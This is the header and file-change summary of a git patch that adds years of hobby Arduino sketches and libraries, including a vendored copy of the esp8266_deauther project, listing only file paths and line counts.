From 6c84b31f2c7d9b041f35ac91b313804aa100475d Mon Sep 17 00:00:00 2001 From: KevinMidboe Date: Thu, 30 May 2019 23:41:53 +0200 Subject: [PATCH] Init commit with many years of arduino sketches and projects. I dont know if the esp8266 includes much, but there are also libraries. I hope they dont have crazy automatic versioning through the Arduino IDE. --- .../Third_WithButtons/Third_WithButtons.ino | 86 + .../28BYJ Stepper/first_test/first_test.ino | 166 + Projects/28BYJ Stepper/second/second.ino | 95 + .../The_Final_Coutdown_.ino | 477 + .../_2x7_Segment_74HC_HEI_ELIAS_.ino | 323 + .../_2x7_Segment_74HC_Self.ino | 324 + .../_2x7_Segment_74HC_Write.ino | 603 + .../7 Segment Main/_7_Segment/_7_Segment.ino | 288 + .../_7_Segment_Letters/_7_Segment_Letters.ino | 98 + .../_7_Segment_Self/_7_Segment_Self.ino | 98 + .../_7_Segment_w__74HC/_7_Segment_w__74HC.ino | 98 + .../_8_LED_74HC/_8_LED_74HC.ino | 236 + .../_1.singleTest/_1.singleTest.ino | 109 + .../_1.singleTets/_1.singleTets.ino | 69 + .../Colorful_Light_RGB_LEDs.ino | 78 + .../I2C_20x4_Test/I2C_20x4_Test.ino | 39 + Projects/IR_LightSwitch/IR_LightSwitch.ino | 92 + Projects/Keyboard/Login/Login.ino | 22 + .../Keyboard/Open_Program/Open_Program.ino | 24 + Projects/Keyboard/Sleep/Sleep.ino | 24 + Projects/Keyboard/ping/ping.ino | 28 + Projects/Lock/Lock.ino | 104 + Projects/ProgLab/Instrument/Instrument.ino | 25 + Projects/ProgLab/Instrument2/Instrument2.ino | 1 + Projects/ProgLab/LineFollow/LineFollow.ino | 107 + .../ProgLab/LineFollower/LineFollower.ino | 53 + Projects/ProgLab/Lyskryss/Lyskryss.ino | 57 + .../Lyskryss/data/plab-library-master.zip | Bin 0 -> 1374 bytes Projects/ProgLab/Zumo_1/Zumo_1.ino | 89 + Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino | 54 + Projects/ProgLab/Zumo_2/Zumo_2.ino | 81 + Projects/ProgLab/Zumo__/Zumo__.ino | 128 + Projects/ProgLab/toneAC.h/toneAC.h | 221 + Projects/ProgLab/toneAC.h/toneAC.h.ino | 35 + .../RelayController_1.0.ino | 66 + .../ServerController_1.0.ino | 264 + .../ServerController_1.1.ino | 235 + Projects/Reset/Reset.ino | 31 + .../ST_Two_Small_Clock/ST2_Main/ST2_Main.ino | 222 + .../ST2_Matrix/ST2_Matrix.ino | 170 + .../ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino | 526 + .../ST2_Routines/ST2_Routines.ino | 1449 + .../ST2_Setup/ST2_Setup.ino | 112 + .../ST2_Sleep/ST2_Sleep.ino | 137 + .../ST_Two_Small_Clock/ST2_TWI/ST2_TWI.ino | 25 + .../ST_Two_Small_Clock_1.ino | 356 + Projects/Servo_Sweep/Servo_Sweep.ino | 29 + Projects/StepMotor/StepMotor.ino | 93 + .../Joystick_DirectionPrint.ino | 31 + .../Menusystem_LCD/Menusystem_LCD.ino | 72 + .../data/JoystickController.zip | Bin 0 -> 10312 bytes .../Screen Shot 2014-05-11 at 22.08.05.png | Bin 0 -> 204931 bytes .../Schematics/Tea-Duino Schematic.fzz | Bin 0 -> 10702 bytes .../Tea-duino Main/SimplePost/SimplePost.ino | 60 + Projects/Tea-duino Main/Tea-duino 2.0.pde | 315 + Projects/Tea-duino Main/Tea-duino.pde | 284 + .../TeaAnimation/TeaAnimation.ino | 200 + .../Tea-duino Main/Tea_duino/Tea_duino.ino | 284 + .../Tea_duino_2_0/Tea_duino_2_0.ino | 315 + .../Tea_duino_3_0/Tea_duino_3_0.ino | 354 + Projects/Temp Main/TEMP01/TEMP01.ino | 56 + Projects/Temp Main/TEMP02/TEMP02.ino | 37 + Projects/Temp Main/Temp_All/Temp_All.ino | 114 + Projects/Temp Main/Temp_Pre/Temp_Pre.ino | 46 + Projects/Tweet/SimplePost/SimplePost.ino | 59 + .../Tweet/SimpleTweetPost/SimpleTweetPost.ino | 55 + Projects/_3DInterface/_3DInterface.ino | 63 + Projects/_5_buttonTest/_5_buttonTest.ino | 21 + Projects/callbackEcho1/callbackEcho1.ino | 120 + .../codeDebouncePushButtonOnOff.ino | 105 + .../raw_outputSoftwareSerial.ino | 15 + .../Adafruit_BLEFirmata/.gitignore | 2 + .../Adafruit_BLE_Firmata.cpp | 463 + .../Adafruit_BLE_Firmata.h | 182 + .../Adafruit_BLEFirmata/Boards.h | 250 + .../Adafruit_BLEFirmata/LICENSE.txt | 458 + .../Adafruit_BLEFirmata/README.md | 125 + .../examples/StandardFirmata/LICENSE.txt | 458 + .../examples/StandardFirmata/Makefile | 273 + .../StandardFirmata/StandardFirmata.ino | 738 + .../Adafruit_BLEFirmata/keywords.txt | 62 + .../Adafruit_BLE_UART/Adafruit_BLE_UART.cpp | 483 + .../Adafruit_BLE_UART/Adafruit_BLE_UART.h | 86 + .../Adafruit_BLE_UART/README.md | 48 + .../examples/callbackEcho/callbackEcho.ino | 100 + .../examples/echoDemo/echoDemo.ino | 103 + .../Adafruit_BLE_UART/utility/aci.h | 608 + .../Adafruit_BLE_UART/utility/aci_cmds.h | 404 + .../Adafruit_BLE_UART/utility/aci_evts.h | 364 + .../utility/aci_protocol_defines.h | 178 + .../Adafruit_BLE_UART/utility/aci_setup.cpp | 131 + .../Adafruit_BLE_UART/utility/aci_setup.h | 12 + .../Adafruit_BLE_UART/utility/acilib.cpp | 602 + .../Adafruit_BLE_UART/utility/acilib.h | 53 + .../Adafruit_BLE_UART/utility/acilib_defs.h | 29 + .../Adafruit_BLE_UART/utility/acilib_if.h | 463 + .../Adafruit_BLE_UART/utility/acilib_types.h | 25 + .../Adafruit_BLE_UART/utility/ble_system.h | 22 + .../Adafruit_BLE_UART/utility/dtm.h | 55 + .../utility/hal/hal_aci_tl.h | 108 + .../Adafruit_BLE_UART/utility/hal/hal_io.h | 71 + .../Adafruit_BLE_UART/utility/hal_aci_tl.cpp | 425 + .../Adafruit_BLE_UART/utility/hal_platform.h | 69 + .../Adafruit_BLE_UART/utility/lib_aci.cpp | 645 + .../Adafruit_BLE_UART/utility/lib_aci.h | 507 + .../utility/uart/UART_over_BLE.xml | 142 + .../Adafruit_BLE_UART/utility/uart/services.h | 164 + .../utility/uart/ublue_setup.gen.out.txt | 117 + .../Ethernet/README-ETHERNET.txt | 7 + .../Installed_libs/Ethernet/UdpBytewise.cpp | 156 + .../Installed_libs/Ethernet/UdpBytewise.h | 81 + .../Installed_libs/Ethernet/UdpRaw.cpp | 133 + .../Installed_libs/Ethernet/UdpRaw.h | 60 + .../Installed_libs/Ethernet/UdpString.cpp | 83 + .../Installed_libs/Ethernet/UdpString.h | 70 + .../UdpReceiveBytewise/UdpReceiveBytewise.pde | 57 + .../examples/UdpReceiveRaw/UdpReceiveRaw.pde | 70 + .../UdpReceiveString/UdpReceiveString.pde | 58 + .../UdpSendBytewise/UdpSendBytewise.pde | 36 + .../examples/UdpSendRaw/UdpSendRaw.pde | 40 + .../examples/UdpSendString/UdpSendString.pde | 48 + .../Installed_libs/IRRemote/IRremote.cpp | 1030 + .../Installed_libs/IRRemote/IRremote.h | 118 + .../Installed_libs/IRRemote/IRremoteInt.h | 457 + .../Installed_libs/IRRemote/LICENSE.txt | 458 + .../IRRemote/examples/IRrecord/IRrecord.ino | 167 + .../examples/IRrecvDemo/IRrecvDemo.ino | 28 + .../examples/IRrecvDump/IRrecvDump.ino | 81 + .../IRRemote/examples/IRrelay/IRrelay.ino | 85 + .../examples/IRsendDemo/IRsendDemo.ino | 25 + .../IRRemote/examples/IRtest/IRtest.ino | 190 + .../IRRemote/examples/IRtest2/IRtest2.ino | 290 + .../JVCPanasonicSendDemo.ino | 29 + .../Installed_libs/IRRemote/keywords.txt | 50 + .../libraries/Installed_libs/IRRemote/readme | 14 + .../JoystickController/.gitignore | 1 + .../a019_JoystickController.ino | 62 + .../JoystickController/JoystickController.cpp | 184 + .../JoystickController/JoystickController.h | 71 + .../Installed_libs/JoystickController/LICENSE | 7 + .../JoystickController/README.md | 120 + .../JoystickController/keywords.txt | 35 + .../Installed_libs/Keypad/Keypad.cpp | 293 + .../libraries/Installed_libs/Keypad/Keypad.h | 156 + .../examples/CustomKeypad/CustomKeypad.ino | 37 + .../examples/DynamicKeypad/DynamicKeypad.ino | 213 + .../examples/EventKeypad/EventKeypad.ino | 73 + .../examples/HelloKeypad/HelloKeypad.ino | 35 + .../examples/HelloKeypad3/HelloKeypad3.ino | 68 + .../Keypad/examples/MultiKey/MultiKey.ino | 78 + .../examples/loopCounter/loopCounter.ino | 46 + .../Installed_libs/Keypad/keywords.txt | 38 + .../Installed_libs/Keypad/utility/Key.cpp | 61 + .../Installed_libs/Keypad/utility/Key.h | 73 + .../Installed_libs/NewPing/NewPing.cpp | 231 + .../Installed_libs/NewPing/NewPing.h | 162 + .../NewPing15Sensors/NewPing15Sensors.pde | 74 + .../NewPingEventTimer/NewPingEventTimer.pde | 46 + .../NewPingExample/NewPingExample.ino | 23 + .../examples/TimerExample/TimerExample.pde | 25 + .../Installed_libs/NewPing/keywords.txt | 29 + .../Installed_libs/ST2_Arduino/.gitignore | 5 + .../ST2_Arduino/Arduino-Clean.sublime-build | 6 + .../ST2_Arduino/Arduino-Compile.sublime-build | 6 + .../Arduino-Upload-Compile.sublime-build | 10 + .../ST2_Arduino/Arduino-Upload.sublime-build | 6 + .../ST2_Arduino/Arduino.sublime-completions | 128 + .../ST2_Arduino/Arduino.tmLanguage | 62 + .../ST2_Arduino/Default.sublime-commands | 26 + .../ST2_Arduino/Default.sublime-keymap | 5 + .../Installed_libs/ST2_Arduino/LICENSE | 7 + .../ST2_Arduino/Main.sublime-menu | 106 + .../Installed_libs/ST2_Arduino/README.md | 38 + .../ST2_Arduino/Snippets/loop.sublime-snippet | 9 + .../Snippets/setup.sublime-snippet | 9 + .../ST2_Arduino/Support/Monitor | 44 + .../Installed_libs/ST2_Arduino/__init__.py | 1 + .../Installed_libs/ST2_Arduino/arduino.py | 140 + .../Installed_libs/ST2_Arduino/messages.json | 4 + .../ST2_Arduino/messages/1.0.0.txt | 4 + .../ST2_Arduino/messages/install.txt | 4 + .../ST2_Arduino/sketch_template | 13 + .../ST2_Arduino/test/src/test.ino | 7 + .../Installed_libs/Time/DateStrings.cpp | 80 + .../SyncArduinoClock/SyncArduinoClock.pde | 70 + .../Processing/SyncArduinoClock/readme.txt | 9 + .../Time/Examples/TimeGPS/TimeGPS.pde | 82 + .../Time/Examples/TimeNTP/TimeNTP.pde | 120 + .../Time/Examples/TimeRTC/TimeRTC.pde | 47 + .../Time/Examples/TimeRTCLog/TimeRTCLog.pde | 106 + .../Time/Examples/TimeRTCSet/TimeRTCSet.pde | 82 + .../Time/Examples/TimeSerial/TimeSerial.pde | 82 + .../TimeSerialDateStrings.pde | 80 + .../libraries/Installed_libs/Time/Readme.txt | 131 + .../libraries/Installed_libs/Time/Time.cpp | 307 + Projects/libraries/Installed_libs/Time/Time.h | 126 + .../Installed_libs/Time/keywords.txt | 33 + .../Installed_libs/TimerOnev2/TimerOne.cpp | 137 + .../Installed_libs/TimerOnev2/TimerOne.h | 47 + .../Installed_libs/Twitter/Twitter.cpp | 91 + .../Installed_libs/Twitter/Twitter.h | 46 + .../examples/SimplePost/SimplePost.pde | 49 + .../Twitter_Serial_GW/Twitter_Serial_GW.ino | 80 + .../Installed_libs/Twitter/keywords.txt | 22 + Projects/libraries/Installed_libs/readme.txt | 1 + .../examples/toneAC_demo/toneAC_demo.pde | 35 + .../toneAC_dual_LED/toneAC_dual_LED.pde | 25 + .../Installed_libs/toneAC/keywords.txt | 18 + .../Installed_libs/toneAC/toneAC.cpp | 68 + .../libraries/Installed_libs/toneAC/toneAC.h | 111 + Projects/libraries/PLabBT/PLabBTSerial.cpp | 85 + Projects/libraries/PLabBT/PLabBTSerial.h | 46 + .../plab-library-master/PushButton.cpp | 62 + .../plab-library-master/PushButton.h | 31 + Projects/pir_test/pir_test.ino | 58 + Projects/sketch_jan27a/sketch_jan27a.ino | 35 + Projects/sketch_jan27a/toneAC.h | 111 + .../CODE_OF_CONDUCT.md | 47 + .../esp8266_deauther-master/CONTRIBUTING.md | 95 + .../esp8266_deauther-master/ISSUE_TEMPLATE.md | 13 + enp8266/esp8266_deauther-master/LICENSE | 23 + enp8266/esp8266_deauther-master/README.md | 106 + .../Reset_Sketch/README.md | 14 + .../Reset_Sketch/Reset_Sketch.ino | 47 + .../Reset_Sketch/blank_1MB.bin | 1 + .../Reset_Sketch/reset_16mb.bin | Bin 0 -> 238144 bytes .../Reset_Sketch/reset_1mb.bin | Bin 0 -> 238144 bytes .../Reset_Sketch/reset_4mb.bin | Bin 0 -> 238144 bytes .../Reset_Sketch/reset_512kb.bin | Bin 0 -> 238096 bytes .../A_config.h | 29 + .../README.md | 17 + .../configs/DSTIKE_Deauther_Boy/A_config.h | 28 + .../configs/DSTIKE_Deauther_Boy/README.md | 17 + .../A_config.h | 82 + .../README.md | 17 + .../configs/DSTIKE_OLED_v1.5S/A_config.h | 27 + .../configs/DSTIKE_OLED_v1.5S/README.md | 17 + .../configs/DSTIKE_OLED_v1_v1.5/A_config.h | 25 + .../configs/DSTIKE_OLED_v1_v1.5/README.md | 18 + .../configs/DSTIKE_OLED_v2_v2.5_v3/A_config.h | 26 + .../configs/DSTIKE_OLED_v2_v2.5_v3/README.md | 18 + .../DSTIKE_OLED_v3.5_v4_Monster/A_config.h | 26 + .../DSTIKE_OLED_v3.5_v4_Monster/README.md | 17 + .../configs/DSTIKE_USB_Deauther_v2/A_config.h | 25 + .../configs/DSTIKE_USB_Deauther_v2/README.md | 17 + .../configs/DSTIKE_Wristband_Mini/A_config.h | 28 + .../configs/DSTIKE_Wristband_Mini/README.md | 17 + .../configs/Default/A_config.h | 83 + .../configs/Default/README.md | 20 + .../MrRobotBadge_Dickbutt_Addon/A_config.h | 29 + .../MrRobotBadge_Dickbutt_Addon/README.md | 22 + .../esp8266_deauther-master/configs/README.md | 26 + .../esp8266_deauther/A_config.h | 83 + .../esp8266_deauther/Accesspoints.cpp | 311 + .../esp8266_deauther/Accesspoints.h | 81 + .../esp8266_deauther/Attack.cpp | 458 + .../esp8266_deauther/Attack.h | 207 + .../esp8266_deauther/CLI.cpp | 1173 + .../esp8266_deauther/CLI.h | 95 + .../esp8266_deauther/DisplayUI.cpp | 893 + .../esp8266_deauther/DisplayUI.h | 644 + .../esp8266_deauther/LED.cpp | 205 + .../esp8266_deauther/LED.h | 107 + .../esp8266_deauther/Names.cpp | 511 + .../esp8266_deauther/Names.h | 104 + .../esp8266_deauther/SSIDs.cpp | 314 + .../esp8266_deauther/SSIDs.h | 87 + .../esp8266_deauther/Scan.cpp | 448 + .../esp8266_deauther/Scan.h | 98 + .../esp8266_deauther/Settings.cpp | 614 + .../esp8266_deauther/Settings.h | 139 + .../esp8266_deauther/SimpleList.h | 521 + .../esp8266_deauther/Stations.cpp | 367 + .../esp8266_deauther/Stations.h | 98 + .../esp8266_deauther/data/web/LICENSE.gz | Bin 0 -> 690 bytes .../esp8266_deauther/data/web/attack.html.gz | Bin 0 -> 1465 bytes .../esp8266_deauther/data/web/index.html.gz | Bin 0 -> 1022 bytes .../esp8266_deauther/data/web/info.html.gz | Bin 0 -> 1421 bytes .../esp8266_deauther/data/web/js/attack.js.gz | Bin 0 -> 404 bytes .../esp8266_deauther/data/web/js/scan.js.gz | Bin 0 -> 2084 bytes .../data/web/js/settings.js.gz | Bin 0 -> 623 bytes .../esp8266_deauther/data/web/js/site.js.gz | Bin 0 -> 1096 bytes .../esp8266_deauther/data/web/js/ssids.js.gz | Bin 0 -> 942 bytes .../esp8266_deauther/data/web/lang/cn.lang.gz | Bin 0 -> 2985 bytes .../esp8266_deauther/data/web/lang/cs.lang.gz | Bin 0 -> 2878 bytes .../esp8266_deauther/data/web/lang/de.lang.gz | Bin 0 -> 3084 bytes .../esp8266_deauther/data/web/lang/en.lang.gz | Bin 0 -> 2831 bytes .../esp8266_deauther/data/web/lang/es.lang.gz | Bin 0 -> 3138 bytes .../esp8266_deauther/data/web/lang/fi.lang.gz | Bin 0 -> 2919 bytes .../esp8266_deauther/data/web/lang/fr.lang.gz | Bin 0 -> 3168 bytes .../esp8266_deauther/data/web/lang/it.lang.gz | Bin 0 -> 3049 bytes .../esp8266_deauther/data/web/lang/ro.lang.gz | Bin 0 -> 3193 bytes .../esp8266_deauther/data/web/lang/ru.lang.gz | Bin 0 -> 3903 bytes .../data/web/lang/tlh.lang.gz | Bin 0 -> 2710 bytes .../esp8266_deauther/data/web/scan.html.gz | Bin 0 -> 1209 bytes .../data/web/settings.html.gz | Bin 0 -> 880 bytes .../esp8266_deauther/data/web/ssids.html.gz | Bin 0 -> 1192 bytes .../esp8266_deauther/data/web/style.css.gz | Bin 0 -> 1607 bytes .../esp8266_deauther/esp8266_deauther.ino | 180 + .../esp8266_deauther/functions.h | 790 + .../esp8266_deauther/language.h | 591 + .../esp8266_deauther/oui.h | 39802 ++++++++++++++++ .../esp8266_deauther/webfiles.h | 65 + .../esp8266_deauther/wifi.h | 410 + .../esp8266_deauther-master/serialcommands.md | 343 + enp8266/esp8266_deauther-master/settings.md | 166 + .../utils/old_web_converter/convert_all.sh | 57 + .../utils/old_web_converter/converter.html | 71 + .../old_web_converter/jquery-3.2.1.min.js | 4 + .../utils/old_web_converter/readme.md | 40 + .../utils/old_web_converter/style.css | 405 + .../utils/vendor_list_updater/README.md | 5 + .../utils/vendor_list_updater/update_manuf.py | 144 + .../css_html_js_minify/__init__.py | 31 + .../__pycache__/__init__.cpython-36.pyc | Bin 0 -> 878 bytes .../__pycache__/__init__.cpython-37.pyc | Bin 0 -> 883 bytes .../__pycache__/css_minifier.cpython-36.pyc | Bin 0 -> 12425 bytes .../__pycache__/css_minifier.cpython-37.pyc | Bin 0 -> 12425 bytes .../__pycache__/html_minifier.cpython-36.pyc | Bin 0 -> 5237 bytes .../__pycache__/html_minifier.cpython-37.pyc | Bin 0 -> 5240 bytes .../__pycache__/js_minifier.cpython-36.pyc | Bin 0 -> 4118 bytes .../__pycache__/js_minifier.cpython-37.pyc | Bin 0 -> 4103 bytes .../__pycache__/minify.cpython-36.pyc | Bin 0 -> 9683 bytes .../__pycache__/minify.cpython-37.pyc | Bin 0 -> 9744 bytes .../__pycache__/variables.cpython-36.pyc | Bin 0 -> 8063 bytes .../__pycache__/variables.cpython-37.pyc | Bin 0 -> 7384 bytes .../css_html_js_minify/css_minifier.py | 344 + .../css_html_js_minify/html_minifier.py | 157 + .../css_html_js_minify/js_minifier.py | 184 + .../css_html_js_minify/minify.py | 312 + .../css_html_js_minify/variables.py | 213 + .../utils/web_converter/readme.md | 13 + .../utils/web_converter/webConverter.py | 250 + .../web_interface/attack.html | 104 + .../web_interface/attack.json | 1 + .../web_interface/index.html | 52 + .../web_interface/info.html | 88 + .../web_interface/js/attack.js | 41 + .../web_interface/js/scan.js | 262 + .../web_interface/js/settings.js | 51 + .../web_interface/js/site.js | 118 + .../web_interface/js/ssids.js | 105 + .../web_interface/lang/cn.lang | 74 + .../web_interface/lang/cs.lang | 75 + .../web_interface/lang/de.lang | 74 + .../web_interface/lang/en.lang | 74 + .../web_interface/lang/es.lang | 74 + .../web_interface/lang/fi.lang | 74 + .../web_interface/lang/fr.lang | 75 + .../web_interface/lang/it.lang | 74 + .../web_interface/lang/ro.lang | 74 + .../web_interface/lang/ru.lang | 74 + .../web_interface/lang/tlh.lang | 74 + .../web_interface/license | 23 + .../web_interface/names.json | 26 + .../esp8266_deauther-master/web_interface/run | 1 + .../web_interface/scan.html | 110 + .../web_interface/scan.json | 97 + .../web_interface/settings.html | 64 + .../web_interface/settings.json | 30 + .../web_interface/ssids.html | 114 + .../web_interface/ssids.json | 305 + .../web_interface/style.css | 447 + .../LiquidCrystal_I2C.cpp | 252 + .../LiquidCrystal_I2C.h | 164 + .../README.md | 9 + .../BlinkingCursor/BlinkingCursor.ino | 32 + .../examples/CustomChars/CustomChars.ino | 65 + .../examples/HelloWorld/HelloWorld.ino | 20 + .../examples/SerialDisplay/SerialDisplay.ino | 34 + .../keywords.txt | 46 + libraries/I2C_LCD02/I2C_LCD02.ino | 84 + libraries/LiquidCrystal/FastIO.cpp | 267 + libraries/LiquidCrystal/FastIO.h | 219 + libraries/LiquidCrystal/I2CIO.cpp | 198 + libraries/LiquidCrystal/I2CIO.h | 148 + libraries/LiquidCrystal/LCD.cpp | 347 + libraries/LiquidCrystal/LCD.h | 536 + libraries/LiquidCrystal/LiquidCrystal.cpp | 299 + libraries/LiquidCrystal/LiquidCrystal.h | 161 + libraries/LiquidCrystal/LiquidCrystal_I2C.cpp | 291 + libraries/LiquidCrystal/LiquidCrystal_I2C.h | 204 + libraries/LiquidCrystal/LiquidCrystal_SR.cpp | 209 + libraries/LiquidCrystal/LiquidCrystal_SR.h | 176 + .../LiquidCrystal/LiquidCrystal_SR2W.cpp | 135 + libraries/LiquidCrystal/LiquidCrystal_SR2W.h | 202 + .../LiquidCrystal/LiquidCrystal_SR3W.cpp | 283 + libraries/LiquidCrystal/LiquidCrystal_SR3W.h | 202 + libraries/LiquidCrystal/docs/Doxyfile | 1749 + libraries/LiquidCrystal/docs/def/doxygen.def | 7432 +++ .../LiquidCrystal/docs/def/doxygen.def.txt | 2897 ++ .../docs/html/_fast_i_o_8cpp.html | 549 + .../docs/html/_fast_i_o_8cpp_source.html | 351 + .../LiquidCrystal/docs/html/_fast_i_o_8h.html | 786 + .../docs/html/_fast_i_o_8h_source.html | 209 + .../docs/html/_i2_c_i_o_8cpp.html | 92 + .../docs/html/_i2_c_i_o_8cpp_source.html | 282 + .../LiquidCrystal/docs/html/_i2_c_i_o_8h.html | 114 + .../docs/html/_i2_c_i_o_8h_source.html | 147 + .../LiquidCrystal/docs/html/_l_c_d_8cpp.html | 93 + .../docs/html/_l_c_d_8cpp_source.html | 431 + .../LiquidCrystal/docs/html/_l_c_d_8h.html | 711 + .../docs/html/_l_c_d_8h_source.html | 301 + .../docs/html/_liquid_crystal_8cpp.html | 146 + .../html/_liquid_crystal_8cpp_source.html | 383 + .../docs/html/_liquid_crystal_8h.html | 117 + .../docs/html/_liquid_crystal_8h_source.html | 176 + .../html/_liquid_crystal___i2_c_8cpp.html | 247 + .../_liquid_crystal___i2_c_8cpp_source.html | 344 + .../docs/html/_liquid_crystal___i2_c_8h.html | 97 + .../_liquid_crystal___i2_c_8h_source.html | 172 + .../html/_liquid_crystal___s_r2_w_8cpp.html | 89 + .../_liquid_crystal___s_r2_w_8cpp_source.html | 219 + .../html/_liquid_crystal___s_r2_w_8h.html | 164 + .../_liquid_crystal___s_r2_w_8h_source.html | 245 + .../html/_liquid_crystal___s_r3_w_8cpp.html | 249 + .../_liquid_crystal___s_r3_w_8cpp_source.html | 336 + .../html/_liquid_crystal___s_r3_w_8h.html | 96 + .../_liquid_crystal___s_r3_w_8h_source.html | 201 + .../docs/html/_liquid_crystal___s_r_8cpp.html | 94 + .../_liquid_crystal___s_r_8cpp_source.html | 293 + .../docs/html/_liquid_crystal___s_r_8h.html | 148 + .../html/_liquid_crystal___s_r_8h_source.html | 210 + .../_liquid_crystal___s_r___l_c_d3_8cpp.html | 147 + ...id_crystal___s_r___l_c_d3_8cpp_source.html | 295 + .../_liquid_crystal___s_r___l_c_d3_8h.html | 95 + ...quid_crystal___s_r___l_c_d3_8h_source.html | 129 + .../LiquidCrystal/docs/html/annotated.html | 95 + libraries/LiquidCrystal/docs/html/bc_s.png | Bin 0 -> 677 bytes .../docs/html/class_i2_c_i_o-members.html | 95 + .../docs/html/class_i2_c_i_o.html | 339 + .../docs/html/class_l_c_d-members.html | 120 + .../LiquidCrystal/docs/html/class_l_c_d.html | 982 + .../LiquidCrystal/docs/html/class_l_c_d.png | Bin 0 -> 870 bytes .../html/class_liquid_crystal-members.html | 129 + .../docs/html/class_liquid_crystal.html | 827 + .../docs/html/class_liquid_crystal.png | Bin 0 -> 352 bytes .../class_liquid_crystal___i2_c-members.html | 127 + .../html/class_liquid_crystal___i2_c.html | 599 + .../docs/html/class_liquid_crystal___i2_c.png | Bin 0 -> 390 bytes .../class_liquid_crystal___s_r-members.html | 122 + .../docs/html/class_liquid_crystal___s_r.html | 271 + .../docs/html/class_liquid_crystal___s_r.png | Bin 0 -> 387 bytes ...class_liquid_crystal___s_r2_w-members.html | 122 + .../html/class_liquid_crystal___s_r2_w.html | 230 + .../html/class_liquid_crystal___s_r2_w.png | Bin 0 -> 414 bytes ...class_liquid_crystal___s_r3_w-members.html | 125 + .../html/class_liquid_crystal___s_r3_w.html | 501 + .../html/class_liquid_crystal___s_r3_w.png | Bin 0 -> 413 bytes ...liquid_crystal___s_r___l_c_d3-members.html | 120 + .../class_liquid_crystal___s_r___l_c_d3.html | 200 + .../class_liquid_crystal___s_r___l_c_d3.png | Bin 0 -> 442 bytes .../LiquidCrystal/docs/html/classes.html | 91 + libraries/LiquidCrystal/docs/html/closed.png | Bin 0 -> 126 bytes libraries/LiquidCrystal/docs/html/doxygen.css | 835 + libraries/LiquidCrystal/docs/html/doxygen.png | Bin 0 -> 3942 bytes libraries/LiquidCrystal/docs/html/files.html | 102 + .../LiquidCrystal/docs/html/functions.html | 319 + .../docs/html/functions_func.html | 296 + .../docs/html/functions_vars.html | 109 + .../LiquidCrystal/docs/html/globals.html | 419 + .../LiquidCrystal/docs/html/globals_defs.html | 350 + .../LiquidCrystal/docs/html/globals_enum.html | 95 + .../LiquidCrystal/docs/html/globals_eval.html | 98 + .../LiquidCrystal/docs/html/globals_func.html | 128 + .../LiquidCrystal/docs/html/globals_type.html | 98 + .../LiquidCrystal/docs/html/hierarchy.html | 97 + libraries/LiquidCrystal/docs/html/index.html | 78 + libraries/LiquidCrystal/docs/html/installdox | 112 + libraries/LiquidCrystal/docs/html/jquery.js | 54 + .../LiquidCrystal/docs/html/logoGoogle.jpg | Bin 0 -> 17184 bytes libraries/LiquidCrystal/docs/html/nav_f.png | Bin 0 -> 159 bytes libraries/LiquidCrystal/docs/html/nav_h.png | Bin 0 -> 97 bytes libraries/LiquidCrystal/docs/html/open.png | Bin 0 -> 118 bytes .../docs/html/search/all_5f.html | 62 + .../docs/html/search/all_61.html | 38 + .../docs/html/search/all_62.html | 54 + .../docs/html/search/all_63.html | 44 + .../docs/html/search/all_64.html | 80 + .../docs/html/search/all_65.html | 35 + .../docs/html/search/all_66.html | 156 + .../docs/html/search/all_68.html | 32 + .../docs/html/search/all_69.html | 39 + .../docs/html/search/all_6c.html | 354 + .../docs/html/search/all_6d.html | 32 + .../docs/html/search/all_6e.html | 56 + .../docs/html/search/all_6f.html | 32 + .../docs/html/search/all_70.html | 38 + .../docs/html/search/all_72.html | 50 + .../docs/html/search/all_73.html | 117 + .../docs/html/search/all_74.html | 32 + .../docs/html/search/all_77.html | 35 + .../docs/html/search/classes_69.html | 25 + .../docs/html/search/classes_6c.html | 50 + .../LiquidCrystal/docs/html/search/close.png | Bin 0 -> 273 bytes .../docs/html/search/defines_5f.html | 26 + .../docs/html/search/defines_61.html | 32 + .../docs/html/search/defines_62.html | 32 + .../docs/html/search/defines_63.html | 26 + .../docs/html/search/defines_64.html | 62 + .../docs/html/search/defines_65.html | 35 + .../docs/html/search/defines_66.html | 56 + .../docs/html/search/defines_68.html | 26 + .../docs/html/search/defines_6c.html | 219 + .../docs/html/search/defines_72.html | 38 + .../docs/html/search/defines_73.html | 62 + .../docs/html/search/defines_74.html | 26 + .../docs/html/search/enums_74.html | 26 + .../docs/html/search/enumvalues_6e.html | 26 + .../docs/html/search/enumvalues_70.html | 26 + .../docs/html/search/files_66.html | 30 + .../docs/html/search/files_69.html | 30 + .../docs/html/search/files_6c.html | 80 + .../docs/html/search/functions_61.html | 26 + .../docs/html/search/functions_62.html | 42 + .../docs/html/search/functions_63.html | 38 + .../docs/html/search/functions_64.html | 38 + .../docs/html/search/functions_65.html | 26 + .../docs/html/search/functions_66.html | 98 + .../docs/html/search/functions_68.html | 26 + .../docs/html/search/functions_69.html | 26 + .../docs/html/search/functions_6c.html | 83 + .../docs/html/search/functions_6d.html | 32 + .../docs/html/search/functions_6e.html | 50 + .../docs/html/search/functions_6f.html | 32 + .../docs/html/search/functions_70.html | 32 + .../docs/html/search/functions_72.html | 32 + .../docs/html/search/functions_73.html | 75 + .../docs/html/search/functions_77.html | 35 + .../docs/html/search/mag_sel.png | Bin 0 -> 563 bytes .../docs/html/search/nomatches.html | 12 + .../LiquidCrystal/docs/html/search/search.css | 240 + .../LiquidCrystal/docs/html/search/search.js | 742 + .../docs/html/search/search_l.png | Bin 0 -> 604 bytes .../docs/html/search/search_m.png | Bin 0 -> 158 bytes .../docs/html/search/search_r.png | Bin 0 -> 612 bytes .../docs/html/search/typedefs_66.html | 32 + .../docs/html/search/variables_5f.html | 56 + libraries/LiquidCrystal/docs/html/tab_a.png | Bin 0 -> 140 bytes libraries/LiquidCrystal/docs/html/tab_b.png | Bin 0 -> 178 bytes libraries/LiquidCrystal/docs/html/tab_h.png | Bin 0 -> 192 bytes libraries/LiquidCrystal/docs/html/tab_s.png | Bin 0 -> 189 bytes libraries/LiquidCrystal/docs/html/tabs.css | 59 + .../HelloWorld_4bit/HelloWorld_4bit.pde | 78 + .../examples/HelloWorld_SR/HelloWorld_SR.pde | 36 + .../HelloWorld_i2c/HelloWorld_i2c.pde | 61 + .../examples/LCDiSpeed/LCDiSpeed.pde | 274 + .../examples/LCDiSpeed/LCDiSpeed.txt | 20 + .../examples/SerialDisplay/SerialDisplay.pde | 37 + .../examples/i2cLCDextraIO/i2cLCDextraIO.pde | 246 + .../i2cLCDextraIO_tempLeonardo.ino | 332 + 